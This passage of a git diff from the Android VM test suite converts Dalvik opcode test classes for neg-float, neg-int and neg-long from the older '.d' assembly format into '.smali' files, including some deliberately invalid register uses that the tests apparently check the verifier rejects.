+.source "T_neg_float_2.java"
+.class  public Ldot/junit/opcodes/neg_float/d/T_neg_float_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)F
+.registers 5
+
+       neg-float v0, v5
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_3.d
deleted file mode 100644
index 6c6be2e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_neg_float_3.java
-.class public dot.junit.opcodes.neg_float.d.T_neg_float_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)F
-.limit regs 5
-
-       neg-float v0, v3
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_3.smali
new file mode 100644
index 0000000..0a41404
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_float_3.java"
+.class  public Ldot/junit/opcodes/neg_float/d/T_neg_float_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)F
+.registers 5
+
+       neg-float v0, v3
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_4.d
deleted file mode 100644
index 3b9c963..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_neg_float_4.java
-.class public dot.junit.opcodes.neg_float.d.T_neg_float_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)F
-.limit regs 5
-
-       neg-float v0, v3
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_4.smali
new file mode 100644
index 0000000..5b8904c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_float_4.java"
+.class  public Ldot/junit/opcodes/neg_float/d/T_neg_float_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)F
+.registers 5
+
+       neg-float v0, v3
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_5.d
deleted file mode 100644
index 7a391f4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_5.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_neg_float_5.java
-.class public dot.junit.opcodes.neg_float.d.T_neg_float_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)F
-.limit regs 5
-
-       neg-float v0, v3
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_5.smali
new file mode 100644
index 0000000..be2bdde
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_5.smali
@@ -0,0 +1,18 @@
+.source "T_neg_float_5.java"
+.class  public Ldot/junit/opcodes/neg_float/d/T_neg_float_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)F
+.registers 5
+
+       neg-float v0, v3
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_6.d
deleted file mode 100644
index 897725b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_neg_float_6.java
-.class public dot.junit.opcodes.neg_float.d.T_neg_float_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)F
-.limit regs 5
-
-       neg-float v0, v4
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_6.smali
new file mode 100644
index 0000000..231833d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_float_6.java"
+.class  public Ldot/junit/opcodes/neg_float/d/T_neg_float_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)F
+.registers 5
+
+       neg-float v0, v4
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_1.d
deleted file mode 100644
index 0ff47de..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_neg_int_1.java
-.class public dot.junit.opcodes.neg_int.d.T_neg_int_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 5
-
-       neg-int v0, v4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_1.smali
new file mode 100644
index 0000000..2898153
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_int_1.java"
+.class  public Ldot/junit/opcodes/neg_int/d/T_neg_int_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 5
+
+       neg-int v0, v4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_2.d
deleted file mode 100644
index f66368b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_2.d
+++ /dev/null
@@ -1,29 +0,0 @@
-.source T_neg_int_2.java
-.class public dot.junit.opcodes.neg_int.d.T_neg_int_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)Z
-.limit regs 7
-
-       neg-int v4, v6
-       
-       not-int v3, v6
-       add-int/lit8 v2, v3, 1
-
-       if-eq v4, v2, Label1
-       const/4 v1, 0
-
-Label15:
-       return v1
-Label1:
-       const/4 v1, 1
-       goto Label15
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_2.smali
new file mode 100644
index 0000000..430424f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_2.smali
@@ -0,0 +1,29 @@
+.source "T_neg_int_2.java"
+.class  public Ldot/junit/opcodes/neg_int/d/T_neg_int_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 7
+
+       neg-int v4, v6
+       
+       not-int v3, v6
+       add-int/lit8 v2, v3, 1
+
+       if-eq v4, v2, :Label1
+       const/4 v1, 0
+
+:Label15
+       return v1
+:Label1
+       const/4 v1, 1
+       goto :Label15
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_3.d
deleted file mode 100644
index 90c16f9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_neg_int_3.java
-.class public dot.junit.opcodes.neg_int.d.T_neg_int_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 5
-
-       neg-int v0, v5
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_3.smali
new file mode 100644
index 0000000..aab58d5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_int_3.java"
+.class  public Ldot/junit/opcodes/neg_int/d/T_neg_int_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 5
+
+       neg-int v0, v5
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_4.d
deleted file mode 100644
index 4d2c14b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_neg_int_4.java
-.class public dot.junit.opcodes.neg_int.d.T_neg_int_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)I
-.limit regs 5
-
-       neg-int v0, v3
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_4.smali
new file mode 100644
index 0000000..be23ef2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_int_4.java"
+.class  public Ldot/junit/opcodes/neg_int/d/T_neg_int_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 5
+
+       neg-int v0, v3
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_5.d
deleted file mode 100644
index aa67eff..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_neg_int_5.java
-.class public dot.junit.opcodes.neg_int.d.T_neg_int_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)I
-.limit regs 5
-
-       neg-int v0, v3
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_5.smali
new file mode 100644
index 0000000..151c335
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_int_5.java"
+.class  public Ldot/junit/opcodes/neg_int/d/T_neg_int_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 5
+
+       neg-int v0, v3
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_6.d
deleted file mode 100644
index af24f55..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_6.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_neg_int_6.java
-.class public dot.junit.opcodes.neg_int.d.T_neg_int_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 5
-
-       neg-int v0, v3
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_6.smali
new file mode 100644
index 0000000..0db6113
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_6.smali
@@ -0,0 +1,18 @@
+.source "T_neg_int_6.java"
+.class  public Ldot/junit/opcodes/neg_int/d/T_neg_int_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 5
+
+       neg-int v0, v3
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_7.d
deleted file mode 100644
index b1fc23d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_7.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_neg_int_7.java
-.class public dot.junit.opcodes.neg_int.d.T_neg_int_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 5
-
-       neg-int v0, v4
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_7.smali
new file mode 100644
index 0000000..a60c687
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_7.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_int_7.java"
+.class  public Ldot/junit/opcodes/neg_int/d/T_neg_int_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 5
+
+       neg-int v0, v4
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_1.d
deleted file mode 100644
index 7973f10..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_neg_long_1.java
-.class public dot.junit.opcodes.neg_long.d.T_neg_long_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)J
-.limit regs 8
-
-       neg-long v0, v6
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_1.smali
new file mode 100644
index 0000000..696b332
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_long_1.java"
+.class  public Ldot/junit/opcodes/neg_long/d/T_neg_long_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)J
+.registers 8
+
+       neg-long v0, v6
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_2.d
deleted file mode 100644
index 03891af..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_2.d
+++ /dev/null
@@ -1,33 +0,0 @@
-.source T_neg_long_2.java
-.class public dot.junit.opcodes.neg_long.d.T_neg_long_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)Z
-.limit regs 14
-
-       neg-long v10, v12
-       
-       not-long v8, v12
-       const-wide v6, 1
-       add-long v4, v6, v8
-
-       cmp-long v3, v4, v10
-       const/4 v1, 0
-       if-eq v1, v3, Label1
-       const/4 v0, 0
-
-Label15:
-       return v0
-Label1:
-       const/4 v0, 1
-       goto Label15
-
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_2.smali
new file mode 100644
index 0000000..ab21f30
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_2.smali
@@ -0,0 +1,33 @@
+.source "T_neg_long_2.java"
+.class  public Ldot/junit/opcodes/neg_long/d/T_neg_long_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)Z
+.registers 14
+
+       neg-long v10, v12
+       
+       not-long v8, v12
+       const-wide v6, 1
+       add-long v4, v6, v8
+
+       cmp-long v3, v4, v10
+       const/4 v1, 0
+       if-eq v1, v3, :Label1
+       const/4 v0, 0
+
+:Label15
+       return v0
+:Label1
+       const/4 v0, 1
+       goto :Label15
+
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_3.d
deleted file mode 100644
index ab92394..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_neg_long_3.java
-.class public dot.junit.opcodes.neg_long.d.T_neg_long_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)J
-.limit regs 8
-
-       neg-long v0, v8
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_3.smali
new file mode 100644
index 0000000..1b18b94
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_3.smali
@@ -0,0 +1,32 @@
